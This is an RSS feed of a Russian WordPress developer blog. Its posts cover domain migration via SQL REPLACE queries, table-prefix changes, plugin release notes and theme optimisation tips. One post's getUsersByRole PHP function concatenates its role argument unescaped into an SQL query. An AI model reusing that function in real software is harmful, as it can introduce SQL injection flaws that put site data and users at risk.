<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог saintista &#187; WordPress</title>
	<atom:link href="http://saintist.ru/category/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://saintist.ru</link>
	<description>php phpquery css jscript jQuery</description>
	<lastBuildDate>Wed, 25 Apr 2012 05:43:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Перенос wordpress на новый домен со сменой  префикса таблиц.</title>
		<link>http://saintist.ru/2011/10/26/perenos-wordpress-na-novyj-domen-so-smenoj-prefiksa-tablic/</link>
		<comments>http://saintist.ru/2011/10/26/perenos-wordpress-na-novyj-domen-so-smenoj-prefiksa-tablic/#comments</comments>
		<pubDate>Wed, 26 Oct 2011 20:43:36 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1572</guid>
		<description><![CDATA[Зачастую при переносе сайта, собранного на wordpress, на новый хостинг со сменой домена приходится скачивать дамп БД и менять заменой в текстовом файле старый домен на новый. Но этого можно избежать? загрузив в базу дамп без изменений и сделав всего лишь три SQL запроса, например через PhpMyAdmin. UPDATE текущийпрефикстаблицы_options SET option_value= REPLACE(option_value, &#8216;старый домен&#8217;, &#8216;новый [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/10/neo.matrix1.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/10/neo.matrix1.jpg" alt="" title="перенос wordpress на новый domen со сменой  префикса таблиц" width="350" height="188" class="aligncenter size-full wp-image-1573" /></a></p>
<p>Зачастую при переносе сайта, собранного на wordpress,  на новый хостинг со сменой домена приходится скачивать дамп  БД и менять заменой в текстовом файле  старый домен на новый. Но этого  можно избежать? загрузив в базу дамп без изменений и   сделав всего лишь три SQL запроса,  например через  PhpMyAdmin.<br />
<span id="more-1572"></span><br />
<strong>UPDATE текущийпрефикстаблицы_options SET option_value= REPLACE(option_value, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_posts SET guid= REPLACE(guid, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_posts SET post_content= REPLACE(post_content, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p>Описано  <a href="http://saintist.ru/2011/06/22/zamena-podstroki-v-mysql-stolbca/#more-1476" title="Замена подстроки в MySQL столбца">вот тут Замена подстроки в MySQL столбца</a>.</p>
<p>В третьей версии WordPress появилась такая замечательная вещь как динамические меню (<a href="http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/" title="WordPress wp_nav_menu делаем свое кастомное меню">wp_nav_menu</a>, <a href="http://saintist.ru/2011/01/26/wp_nav_menu-polnaya-kastomizaciya-cherez-stranicu-administratora/" title="wp_nav_menu полная кастомизация через страницу администратора">wp_nav_menu полная кастомизация через страницу администратора</a>), если они  используются и есть  в них кастомные  ссылки вбитые вручную на старый домен то  также делаем  еще один запрос меняя их под новый домен на который переносим сайт</p>
<p><strong>UPDATE текущийпрефикстаблицы_postmeta SET  meta_value= REPLACE(meta_value, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>Момент с изменением префиксов у таблиц пр переносе.</strong></p>
<p>Зачастую требуется также поменять  префикс у таблиц, например когда несколько сайтов на WordPress используют одну базу данных. Предварительно  в файле wp-config.php , лежащем в корне, меняем в строке <code>$table_prefix  = 'wpgym_'; </code> значение на  новый префикс.</p>
<p><strong>UPDATE текущийпрефикстаблицы_usermeta  SET  meta_key= REPLACE(meta_key, &#8216;старыйпрефикстаблицы_&#8217;, &#8216;текущийпрефикстаблицы_&#8217;);</strong><br />
<strong>UPDATE текущийпрефикстаблицы_options   SET  option_name = REPLACE(option_name , &#8216;старыйпрефикстаблицы_&#8217;, &#8216;текущийпрефикстаблицы_&#8217;);</strong></p>
<p>если этого не сделать то при авторизации  пользователя он не сможет получить доступ  в админку, будет выводиться запись что не достаточно прав. Дело в том, что  в таблице _usermeta есть несколько записей отвечающих за права доступа конкретного пользователя и их ключи начинаются на префикс имени таблиц, при смене префикса без изменения имен ключей пользователь не сможет  загрузить свои привилегии доступа. Например  префикс wp_ &#8212; то в таблице wp_usermeta у каждого юзера юзера будут wp_capabilities, wp_user_level и wp_autosave_draft_ids, и для всех юзеров в wp_options будут прописаны роли в wp_user_roles, если меняем  префикс на wpnew_  то и  ключи  у записей должны быть wpnew_capabilities, wpnew_user_level,wpnew_user_roles и wpnew_autosave_draft_ids. Ферштейн ?</p>
<p><strong>Подведем итог:</strong></p>
<p>для полного переноса WordPress на новый домен  с изменением  префикса у таблиц нужно сделать  6 SQL запросов:</p>
<p><strong>UPDATE текущийпрефикстаблицы_options SET option_value= REPLACE(option_value, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_posts SET guid= REPLACE(guid, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_posts SET post_content= REPLACE(post_content, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_postmeta SET  meta_value= REPLACE(meta_value, &#8216;старый домен&#8217;, &#8216;новый домен&#8217;);</strong><br />
<strong>UPDATE текущийпрефикстаблицы_usermeta  SET  meta_key= REPLACE(meta_key, &#8216;старыйпрефикстаблицы_&#8217;, &#8216;текущийпрефикстаблицы_&#8217;);</strong></p>
<p><strong>UPDATE текущийпрефикстаблицы_options   SET  option_name = REPLACE(option_name , &#8216;старыйпрефикстаблицы_&#8217;, &#8216;текущийпрефикстаблицы_&#8217;);</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/10/26/perenos-wordpress-na-novyj-domen-so-smenoj-prefiksa-tablic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>qTranslate  и wp_nav_menu</title>
		<link>http://saintist.ru/2011/10/24/qtranslate-i-wp_nav_menu/</link>
		<comments>http://saintist.ru/2011/10/24/qtranslate-i-wp_nav_menu/#comments</comments>
		<pubDate>Mon, 24 Oct 2011 05:53:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1563</guid>
		<description><![CDATA[Для создания мультиязычного сайта замечательно подходит плагин qTranslate, единственное в динамических меню он не добавляет дополнительные поля для ввода названий на нескольких языках, но для использования мультиязычности в wp_nav_menu достаточно в поле ввода заголовка вписывать текст с шорткодами во так [:en]About company[:ru]O компании ps: напомню что аналогично делается вставка статичных текстовых элементов в шаблоны темы [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/10/qtranslate-wp_nav_menu.png"><img src="http://saintist.ru/wp-content/uploads/2011/10/qtranslate-wp_nav_menu.png" alt="" title="qtranslate-wp_nav_menu" width="426" height="549" class="aligncenter size-full wp-image-1564" /></a></p>
<p>Для  создания  мультиязычного  сайта  замечательно  подходит  плагин qTranslate, единственное  в  динамических меню он не  добавляет дополнительные  поля для  ввода названий на нескольких  языках, но для  использования мультиязычности в wp_nav_menu   достаточно  в поле ввода заголовка  вписывать текст с шорткодами<br />
<span id="more-1563"></span><br />
во так</p>
<pre>[:en]About company[:ru]O компании</pre>
<p>ps:  напомню что аналогично  делается вставка статичных текстовых элементов в шаблоны темы для   поддержки мультиязычности</p>
<pre>< ? php _e("[:en]Tags[:ru]Теги"); ? ></pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/10/24/qtranslate-i-wp_nav_menu/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Небольшой апдейт news.yandex.ru WordPress RSS2.0</title>
		<link>http://saintist.ru/2011/07/27/nebolshoj-apdejt-news-yandex-ru-wordpress-rss2-0/</link>
		<comments>http://saintist.ru/2011/07/27/nebolshoj-apdejt-news-yandex-ru-wordpress-rss2-0/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 19:49:40 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[мои wordpress plugins]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1537</guid>
		<description><![CDATA[выкроил немного времени, внес правки в news.yandex.u wordpress rss2.0, качаем тестим, пишем о багах]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1529" title="news.yandex.ru WordPress RSS2.0" src="http://saintist.ru/wp-content/uploads/2011/07/news.yandex.ru-WordPress-RSS2.0-209x300.jpg" alt="" width="209" height="300" /></p>
<p>выкроил немного времени, внес правки в <a href="http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/" title="news.yandex.u wordpress rss2.0">news.yandex.u wordpress rss2.0</a>, качаем тестим, пишем о багах</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/27/nebolshoj-apdejt-news-yandex-ru-wordpress-rss2-0/feed/</wfw:commentRss>
		<slash:comments>57</slash:comments>
		</item>
		<item>
		<title>news.yandex.ru WordPress RSS2.0</title>
		<link>http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/</link>
		<comments>http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 21:29:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[мои wordpress plugins]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1528</guid>
		<description><![CDATA[Я уже писал про свой WordPress плагин для news.yandex.ru . В результате доработок и правок, пришел к мысли о необходимости концептуального изменения и переделки. Сегодня представляю news.yandex.ru WordPress RSS2.0 создан на основе наработок первого варианта, но работает немного по другому. Плагин выводит посты за последние семь дней из выбранных категорий в виде rss в формате [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1529" title="news.yandex.ru WordPress RSS2.0" src="http://saintist.ru/wp-content/uploads/2011/07/news.yandex.ru-WordPress-RSS2.0-209x300.jpg" alt="" width="209" height="300" /><br />
Я уже писал про свой WordPress <a title="плагин для news.yandex.ru" href="http://saintist.ru/2011/02/14/wordpress-plugin-rss2-0-dlya-news-yandex-ru/"> плагин для news.yandex.ru </a>. В результате доработок и правок, пришел к мысли о необходимости концептуального изменения и переделки.</p>
<p>Сегодня представляю <strong>news.yandex.ru WordPress RSS2.0</strong> создан на основе наработок первого варианта, но работает немного по другому.<br />
<span id="more-1528"></span><br />
Плагин выводит посты за последние семь дней из выбранных категорий в виде rss в формате пригодном для сервиса news.yandex.ru.</p>
<p>Все заголовки постов обрезаются до 200 символов, при этом соблюдается целостность слов.<br />
Заголовки постов в rss пишутся в нижнем регистре, заглавняа буква в верхнем.<br />
Все изображения опубликованные в постах добавляются в rss согласно рекомендациям news.yandex.ru.</p>
<p>ссылка на feed теперь одна а не для каждой рубрики своя</p>
<p>имеет вид http://ваш_сайт/?feed=news.yandex.ru</p>
<p>при использовании плагинов перенаправления на  feedburner</p>
<p>убираем их</p>
<p>в .htaccess добавляем</p>
<p>в htaccess</p>
<p>добавить</p>
<p><strong>RewriteEngine on<br />
 RewriteCond %{REQUEST_URI}      ^/?(feed.*|comments.*)        [NC]<br />
 RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC]<br />
 RewriteRule ^feed/?.*$          http://feeds.feedburner.com/ваш_id_feedburner[L,NC,R=302]<br />
 RewriteRule ^comments/?.*$      http://feeds.feedburner.com/ваш_id_feedburner_comments [L,NC,R=302]</strong></p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.1.zip">news.yandex.ru WordPress RSS2.0 (v 0.1)</a></p>
<p><strong>update v0.2</strong><br />
1. шорткоды не публикуются в тексте<br />
2. убрал перевод в нижний/верхний регистр заголовков (делайте сами правильный регистр букв у заголовков новостей)<br />
3. Поправил неверные ссылки на картинки внутри новости (ругался яндекс из-за  вхождения спецсимволов в url  картинки)<br />
4. Для адекватного вывода тега author пропишите имя фамилию автора новостей в профиле (тег необязательный, вероятно уберу его совсем впоследствии)<br />
5. Спецсимволы согласно требованиям яндекса обрабатываются</p>
<pre>Встречающиеся в тексте символы &lt; &gt; &amp; ' " необходимо заменять на соответствующие элементы:
&amp; на &amp;amp;
&lt; на &amp;lt;
&gt; на &amp;gt;
' на &amp;apos;
" на &amp;quot;</pre>
<p>&nbsp;</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.2.zip">news.yandex.ru WordPress RSS2.0 (v 0.2)</a></p>
<p>пишем замечания и впечатления</p>
<p><strong>update v0.2.1</strong></p>
<p>1. поправлено  #8220,#8221</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.2.1.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.1)</a></p>
<p><strong>update v0.2.2</strong></p>
<p>1. поправлено  двойное квотирование кавычек</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.2.2.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.2)</a></p>
<p><strong>update v0.2.3</strong></p>
<p>1. поправлен вывод  часового пояса</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.2.3.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.3)</a></p>
<p><strong>update v0.2.4</strong></p>
<p>1.  Добавлена возможность выбора точного количества выводимых постов, Плагин все также  выводит сообщения за последнюю неделю но  можно выбрать их фиксированное количество. Актуально для  сайтов  у которых большие объемы публикуемого контента и бот яндекса не успевает за  15  секунд  полностью получить rss</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/09/news-yandex-ru-0.2.4.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.4)</a></p>
<p><strong>update v0.2.4.1</strong></p>
<p>Наскреб немного свободного времени для очередных правок<br />
1.  шорткоды теперь не публикуются в rss, тег  script  и все его содержимое тоже<br />
ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/09/news-yandex-ru-0.2.4.1.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.4.1)</a></p>
<p><strong>23.01.2012 update v0.2.4.2</strong><br />
ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/09/news-yandex-ru-0.2.4.2.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.4.2)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/feed/</wfw:commentRss>
		<slash:comments>107</slash:comments>
		</item>
		<item>
		<title>query_posts post__in и порядок вывода постов</title>
		<link>http://saintist.ru/2011/07/19/query_posts-post__in-i-poryadok-vyvoda-postov/</link>
		<comments>http://saintist.ru/2011/07/19/query_posts-post__in-i-poryadok-vyvoda-postov/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 13:04:06 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1523</guid>
		<description><![CDATA[При использовании query_posts для вывода списка необходимых записей зачастую встает вопрос сортировки. И стандартные вариант сортировки не всегда то что нужно.. Рассмотрю частный случай. Например нам необходимо выбрать посты с ID равным 1, 2, 3,78 и 234 и вывести их в порядке 2, 3, 1, 234, 78 используя код query_posts( array( 'post__in' => array(2, 3, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/07/query_posts1.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/07/query_posts1-300x228.jpg" alt="" title="query_posts post__in order" width="300" height="228" class="aligncenter size-medium wp-image-1524" /></a></p>
<p>При использовании query_posts  для вывода  списка  необходимых записей зачастую встает вопрос сортировки. И стандартные  вариант сортировки не всегда то что нужно..<br />
Рассмотрю частный случай.<br />
<span id="more-1523"></span></p>
<p>Например нам необходимо  выбрать посты с ID  равным  1, 2, 3,78 и  234 и вывести их в порядке</p>
<pre>
2, 3, 1, 234, 78
</pre>
<p>используя код </p>
<pre>
query_posts( array( 'post__in' => array(2, 3, 1, 234, 78)  ) );
</pre>
<p>у нас не получится  вывести список постов в нужном нам порядке , так как по умолчанию вордпресс сортирует посты по дате. Остальные  варианты сортировки тоже  мало помогут.</p>
<p>И даже  такое ухищрение как простановка дат  в нужном порядке у заданных постов,  не самый лучший вариант.</p>
<p>Все  гораздо проще, нужно воспользоваться таким приемом для  вывода постов в нужном порядке при использовании post__in.</p>
<pre>
query_posts( array( 'post__in' => array(2, 3, 1, 234, 78),  'orderby' => 'post__in' ) );
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/19/query_posts-post__in-i-poryadok-vyvoda-postov/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress Проблемы с cforms после переноса на другой хостинг</title>
		<link>http://saintist.ru/2011/07/13/wordpress-problemy-s-cforms-posle-perenosa-na-drugoj-xosting/</link>
		<comments>http://saintist.ru/2011/07/13/wordpress-problemy-s-cforms-posle-perenosa-na-drugoj-xosting/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 14:23:04 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Cforms]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1516</guid>
		<description><![CDATA[Обратился к мне сегодня постоянный заказчик с просьбой поправить сайт на WordPress собранный другим разработчиков. Одним из багов была нерабочая контактная форма на основе плагина cforms II. При ближайшем рассмотрении оказалось что не работает ajax режим контактной формы, при сабмите запрос шел на какой-то левый домен. Как оказалось на этом домене шла разработка с последующим [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/07/cforms1-300x233.png" alt="" title="cforms II ajax bug" width="300" height="233" class="aligncenter size-medium wp-image-1517" /></p>
<p>Обратился к мне сегодня  постоянный заказчик с просьбой поправить сайт на WordPress  собранный  другим разработчиков. Одним из багов была нерабочая контактная форма на основе плагина  cforms II. При ближайшем рассмотрении оказалось что  не  работает ajax режим  контактной формы, при сабмите  запрос шел на какой-то   левый  домен.<br />
<span id="more-1516"></span><br />
Как оказалось на этом домене шла разработка с последующим переносом всего  на  боевой хост.</p>
<p>Никакой информации которая бы помогла решить проблемы я не нашел и изучив  код плагина   нашел  собственное очевидное решение.</p>
<p>Как оказалось для  url  для   ajax запросов </p>
<pre>

http://сайт/wp-content/plugins/cforms/lib_ajax.php
</pre>
<p>cforms резервирует переменную и не хранит ее в базе или  в php  скрипте (почему не определяет путь  динамически?  непонятно  какими соображениями руководствовался автор плагина) </p>
<p>и эта переменная  записана  статично в  файле </p>
<pre>
js/cforms.js
</pre>
<p>в папке с плагином cforms </p>
<p>для устранения бага с ajax  в cforms  после переноса  на  другой домен открываем указанный файл  ищем строку </p>
<pre>
var sajax_uri = 'http://старый домен/wp-content/plugins/cforms/lib_ajax.php';
</pre>
<p>меняем ее на  </p>
<pre>
var sajax_uri = 'http://новый домен/wp-content/plugins/cforms/lib_ajax.php';
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/13/wordpress-problemy-s-cforms-posle-perenosa-na-drugoj-xosting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Оптимизация WordPress в 4 простых шага.</title>
		<link>http://saintist.ru/2011/07/11/optimizaciya-wordpress-v-4-prostyx-shaga/</link>
		<comments>http://saintist.ru/2011/07/11/optimizaciya-wordpress-v-4-prostyx-shaga/#comments</comments>
		<pubDate>Sun, 10 Jul 2011 22:10:42 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1511</guid>
		<description><![CDATA[WordPress очень гибкая система но к сожалению с каждой новой версией все более требовательна к ресурсам. Опишу несколько приемов по оптимизации и уменьшению нагрузки при использовании WordPress/ Статья рассчитана как рекомендации и не претендует на подробное руководство по оптимизации. 1. Отключаем ревизии. Каждый раз когда вы редактируете посты система периодически делает копии состояний редактируемых постов, [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress  очень гибкая система но к сожалению  с каждой новой версией  все более требовательна к ресурсам.</p>
<p><img src="http://saintist.ru/wp-content/uploads/2011/07/super-wp-300x261.png" alt="" title="super-wp" width="300" height="261" class="aligncenter size-medium wp-image-1512" /></p>
<p>Опишу несколько приемов по  оптимизации  и уменьшению нагрузки при использовании WordPress/ Статья  рассчитана как рекомендации и не  претендует на  подробное руководство по оптимизации.<br />
<span id="more-1511"></span><br />
1. Отключаем ревизии. Каждый раз когда  вы  редактируете посты  система периодически делает копии состояний редактируемых постов, &#171;засоряя&#187; базу  дополнительными записями. С одной стороны это удобно так как позволяет в непредвиденных ситуациях  восстановить  записи  но как правило  это  мало востребованный  функционал.</p>
<p>отключается  добавлением в  файл  wp-config.php  сроки</p>
<pre>
define('WP_POST_REVISIONS', false);
</pre>
<p>2. Заголовок  блога   перегружен в области head довольно большим количеством вывода всевозможных тегов. Это все можно отключить.  В файле function.php  пропишем </p>
<pre>
remove_action( 'wp_head', 'feed_links_extra', 3 );
remove_action( 'wp_head', 'feed_links', 2 );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );
remove_action( 'wp_head', 'index_rel_link' );
remove_action( 'wp_head', 'parent_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'start_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'adjacent_posts_rel_link', 10, 0 );
remove_action( 'wp_head', 'wp_generator' );
</pre>
<p>3.  Сносим все   избыточные   плагины. Авторы плагинов  в большинстве своем  не заботятся о оптимизации. По этой причине  при  достаточном количестве плагинов   сайт на WP  может порядочно  жрать ресурсы. Все  излишнее деактивируем.</p>
<p>4. Ставим  плагин кеширования , наиболее распространенный  WP Super Cach. Проверено на собственном опыте, даже на сайте с посещалкой  300-400 уников в день, нагрузка уменьшается  примерно в  10-12 раз.</p>
<p>Для контроля потребляемых ресурсов в footer.php  темы  можно добавить  строку</p>
<pre>
printf(('%d / %s'), get_num_queries(), timer_stop(0, 3));
if ( function_exists('memory_get_usage') ) echo ' / '.round(memory_get_usage()/1024/1024, 2).'mb ';
</pre>
<p>для контроля  количества запросов к БД и  размера потребляемых ресурсов хостинга.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/11/optimizaciya-wordpress-v-4-prostyx-shaga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Замена подстроки в  MySQL столбца</title>
		<link>http://saintist.ru/2011/06/22/zamena-podstroki-v-mysql-stolbca/</link>
		<comments>http://saintist.ru/2011/06/22/zamena-podstroki-v-mysql-stolbca/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 10:56:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1476</guid>
		<description><![CDATA[Очень часто возникает необходимость при переносе сайта на wordpress на новый хостинг сделать замену старого url на новый в базе как правило скачивается дамп в виде текстового файла и в редакторе меняется одна строка на другую. Все те же манипуляции можно сделать используя синтаксис SQL например через phpMyAdmin залив не измененный дамп и выполнив несколько [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/06/Replace1-300x68.gif" alt="" title="Replace[1]" width="300" height="68" class="aligncenter size-medium wp-image-1477" /><br />
Очень часто возникает необходимость при переносе сайта на  wordpress на новый хостинг  сделать замену старого  url на новый в  базе</p>
<p> как правило скачивается  дамп  в виде текстового файла и в  редакторе меняется одна строка на другую.</p>
<p>Все те же манипуляции можно сделать  используя синтаксис SQL  например через  phpMyAdmin залив не измененный дамп  и выполнив несколько  SQL  запросов.<br />
<span id="more-1476"></span><br />
для того чтобы заменить Замена подстроки с  столбце  MySQL столбца </p>
<p>достаточно  выполнить запрос вида:</p>
<p><strong>UPDATE имя_таблицы SET<br />
имя_столбца= REPLACE(имя_столбца, &#8216;что найти&#8217;, &#8216;на что поменять&#8217;)</strong></p>
<p>для  переноса нужно сделать вот какие запросы:</p>
<p><strong>UPDATE wp_options SET<br />
option_value= REPLACE(option_value, &#8216;http://старый_домен&#8217;, &#8216;http://новый_домен&#8217;)</strong></p>
<p>и о аналогии поменять строки в таблице <strong>wp_posts </strong>  в столбцах <strong>guid </strong>и <strong>post_content</strong></p>
<p><strong>update: 26.10.2011</strong></p>
<p>если используем  wp_nav_menu  и в них кастомные линки на  старый домен то  выполняем также запрос</p>
<p><strong>UPDATE wp_postmeta SET<br />
meta_value= REPLACE(meta_value, &#8216;http://старый_домен&#8217;, &#8216;http://новый_домен&#8217;)</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/06/22/zamena-podstroki-v-mysql-stolbca/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Список пользователей по  роли</title>
		<link>http://saintist.ru/2011/06/15/wordpress-spisok-polzovatelej-po-roli/</link>
		<comments>http://saintist.ru/2011/06/15/wordpress-spisok-polzovatelej-po-roli/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 10:19:52 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1454</guid>
		<description><![CDATA[При разработке на WordPress необходимость вывода списка пользователей по определенной роли этих пользователей случается довольно часто. Отлично с этой задачей справляется процедура: function getUsersByRole( $roles ) { global $wpdb; if ( ! is_array( $roles ) ) { $roles = explode( ",", $roles ); array_walk( $roles, 'trim' ); } $sql = ' SELECT ID, display_name FROM [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/06/wordpress-security-guard21-300x252.png" alt="" title="wordpress-security-guard2[1]" width="300" height="252" class="aligncenter size-medium wp-image-1455" /><br />
При разработке  на  WordPress  необходимость вывода списка пользователей по определенной роли этих пользователей случается довольно часто.</p>
<p>Отлично  с этой задачей справляется процедура:<br />
<span id="more-1454"></span></p>
<pre>
function getUsersByRole( $roles ) {
	global $wpdb;
	if ( ! is_array( $roles ) ) {
		$roles = explode( ",", $roles );
		array_walk( $roles, 'trim' );
	}
	$sql = '
		SELECT	ID, display_name
		FROM		' . $wpdb->users . ' INNER JOIN ' . $wpdb->usermeta . '
		ON		' . $wpdb->users . '.ID				=		' . $wpdb->usermeta . '.user_id
		WHERE	' . $wpdb->usermeta . '.meta_key		=		\'' . $wpdb->prefix . 'capabilities\'
		AND		(
	';
	$i = 1;
	foreach ( $roles as $role ) {
		$sql .= ' ' . $wpdb->usermeta . '.meta_value	LIKE	\'%"' . $role . '"%\' ';
		if ( $i < count( $roles ) ) $sql .= ' OR ';
		$i++;
	}
	$sql .= ' ) ';
	$sql .= ' ORDER BY display_name ';
	$userIDs = $wpdb->get_col( $sql );
	return $userIDs;
}
</pre>
<p>т.е. чтоб получить список пользователей с ролью test</p>
<p>делаем </p>
<pre>
$testusers=getUsersByRole('test');
</pre>
<p>на  выходе будет список в виде  массива содержащего  id  пользователей</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/06/15/wordpress-spisok-polzovatelej-po-roli/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress Admin bar &#8212; как её отключить?</title>
		<link>http://saintist.ru/2011/06/12/wordpress-admin-bar-kak-eyo-otklyuchit/</link>
		<comments>http://saintist.ru/2011/06/12/wordpress-admin-bar-kak-eyo-otklyuchit/#comments</comments>
		<pubDate>Sun, 12 Jun 2011 12:56:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1450</guid>
		<description><![CDATA[В версии WordPress 3.1. интерфейс авторизированного пользователя обогатился Админ Баром это такая серая полосочка зафиксированная в верхней части страницы сайта, удобная вещь позволяющая бустро делать манипуляции при редактировании сайта. Но зачастую она ненужна. Как отключить ВордПресс админ бар? есть 2 варианта. Зайти в админку в управление своим профилем и убрать галку с чекбокса или же [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/06/wordpress_admin_bar1-300x108.jpg" alt="" title="wordpress_admin_bar[1]" width="300" height="108" class="aligncenter size-medium wp-image-1452" /><br />
В версии WordPress 3.1. интерфейс авторизированного пользователя обогатился Админ  Баром </p>
<p>это такая серая полосочка зафиксированная в верхней части  страницы сайта, удобная вещь позволяющая  бустро делать манипуляции при редактировании сайта.</p>
<p>Но зачастую она  ненужна.</p>
<p>Как отключить ВордПресс админ бар?</p>
<p>есть 2 варианта.<br />
<span id="more-1450"></span></p>
